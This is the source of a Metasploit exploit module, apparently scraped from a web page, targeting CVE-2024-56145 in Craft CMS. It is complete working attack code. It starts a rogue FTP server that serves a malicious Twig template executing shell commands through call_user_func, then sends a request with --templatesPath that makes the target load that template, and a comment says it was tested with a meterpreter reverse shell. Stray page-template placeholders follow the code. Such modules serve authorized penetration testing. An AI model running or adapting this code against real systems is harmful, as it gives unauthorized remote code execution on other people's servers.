## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient include Msf::Exploit::Remote::FtpServer prepend Msf::Exploit::Remote::AutoCheck def initialize(info = {}) super( update_info( info, 'Name' => 'Craft CMS Twig Template Injection RCE via FTP Templates Path', 'Description' => %q{ This module exploits a Twig template injection vulnerability in Craft CMS by abusing the --templatesPath argument. The vulnerability allows arbitrary template loading via FTP, leading to Remote Code Execution (RCE). }, 'Author' => [ 'jheysel-r7', # Metasploit module 'Valentin Lobstein', # Refactor, Fix, and PoC 'AssetNote' # Vulnerability discovery ], 'References' => [ ['CVE', '2024-56145'], ['URL', 'https://github.com/Chocapikk/CVE-2024-56145'], ['URL', 'https://www.assetnote.io/resources/research/how-an-obscure-php-footgun-led-to-rce-in-craft-cms'] ], 'Payload' => { 'BadChars' => "\x22\x27" # " and ' }, 'License' => MSF_LICENSE, 'Privileged' => false, 'Platform' => %w[unix linux], 'Arch' => [ARCH_CMD], 'Targets' => [ [ 'Unix/Linux Command Shell', { 'Platform' => %w[unix linux], 'Arch' => ARCH_CMD # tested with cmd/linux/http/x64/meterpreter/reverse_tcp } ], ], 'DefaultTarget' => 0, 'DisclosureDate' => '2024-12-19', 'Notes' => { 'Stability' => [CRASH_SAFE], 'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS], 'Reliability' => [REPEATABLE_SESSION] } ) ) end def vulnerable_file_list %w[/default/index.twig /default/index.html] end def get_payload "{{ ['system', 'bash -c \"#{payload.encoded}\"'] | sort('call_user_func') }}" end def send_ftp_response(cli, code, message) cli.put "#{code} #{message}\r\n" vprint_status("-> #{code} #{message}") end def on_client_connect(cli) @state[cli] = { name: "#{cli.peerhost}:#{cli.peerport}", ip: cli.peerhost, port: cli.peerport, user: nil, pass: nil, cwd: '/' } send_ftp_response(cli, 220, 'FTP Server Ready') end def on_client_command_user(cli, arg) vprint_status('on_client_command_user') if arg.downcase == 'anonymous' @state[cli][:user] = 'anonymous' send_ftp_response(cli, 331, 'Username ok, send password.') else send_ftp_response(cli, 530, 'Not logged in.') end end def on_client_command_pass(cli, arg) vprint_status('on_client_command_pass') if @state[cli][:user] == 'anonymous' @state[cli][:pass] = arg send_ftp_response(cli, 230, 'Login successful.') else send_ftp_response(cli, 530, 'Not logged in.') end end def on_client_command_cwd(cli, arg) vprint_status('on_client_command_cwd') if arg == '/default' @state[cli][:cwd] = '/default' send_ftp_response(cli, 250, "\"#{@state[cli][:cwd]}\" is current directory.") else send_ftp_response(cli, 550, 'Not a directory') end end def on_client_command_type(cli, arg) vprint_status('on_client_command_type') if arg == 'I' send_ftp_response(cli, 200, 'Type set to: Binary.') else send_ftp_response(cli, 500, 'Unknown type.') end end def on_client_command_size(cli, arg) vprint_status('on_client_command_size') if vulnerable_file_list.include?(arg) send_ftp_response(cli, 213, get_payload.length.to_s) else send_ftp_response(cli, 550, "#{arg} is not retrievable.") end end def on_client_command_mdtm(cli, arg) vprint_status('on_client_command_mdtm') if vulnerable_file_list.include?(arg) send_ftp_response(cli, 213, Time.now.strftime('%Y%m%d%H%M%S')) else send_ftp_response(cli, 550, "#{arg} is not retrievable.") end end def on_client_command_epsv(cli, _arg) vprint_status('on_client_command_epsv') send_ftp_response(cli, 502, 'EPSV command not implemented.') end def on_client_command_retr(cli, arg) vprint_status('on_client_command_retr') if vulnerable_file_list.include?(arg) conn = establish_data_connection(cli) unless conn send_ftp_response(cli, 425, "Can't open data connection.") return end send_ftp_response(cli, 150, "Opening data connection for #{arg}") conn.put(get_payload) conn.close send_ftp_response(cli, 226, 'Transfer complete.') else send_ftp_response(cli, 550, 'File not available.') end rescue IOError => e vprint_error("Data transfer failed: #{e.message}") send_ftp_response(cli, 425, 'Data transfer failed.') end def on_client_command_quit(cli, _arg) vprint_status('on_client_command_quit') send_ftp_response(cli, 221, 'Goodbye.') end def on_client_command_unknown(cli, cmd, arg) vprint_status('on_client_command_unknown') send_ftp_response(cli, 500, "'#{cmd} #{arg}': command not understood.") end def check vprint_status('Performing vulnerability check...') nonce = Rex::Text.rand_text_alphanumeric(8) res = send_request_cgi( 'uri' => normalize_uri(target_uri.path), 'method' => 'GET', 'vars_get' => { '--configPath' => "/#{nonce}" } ) if res&.body&.include?('mkdir()') && res.body.include?(nonce) CheckCode::Vulnerable else CheckCode::Safe end end def trigger_http_request vprint_status('Triggering HTTP request...') templates_path = "ftp://#{datastore['SRVHOST']}:#{datastore['SRVPORT']}" send_request_raw( 'uri' => normalize_uri(target_uri.path) + "?--templatesPath=#{templates_path}", 'method' => 'GET' ) rescue StandardError => e vprint_error("HTTP request failed: #{e.message}") end def start_ftp_service if datastore['SSL'] == true reset_ssl = true datastore['SSL'] = false end start_service if reset_ssl datastore['SSL'] = true end end def exploit vprint_status('Starting FTP service...') start_ftp_service vprint_status("FTP server started on #{datastore['SRVHOST']}:#{datastore['SRVPORT']}") vprint_status('Sending HTTP request to trigger the payload...') trigger_http_request end end
{{ x.nick }}
| Date:{{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1 {{ x.comment }} |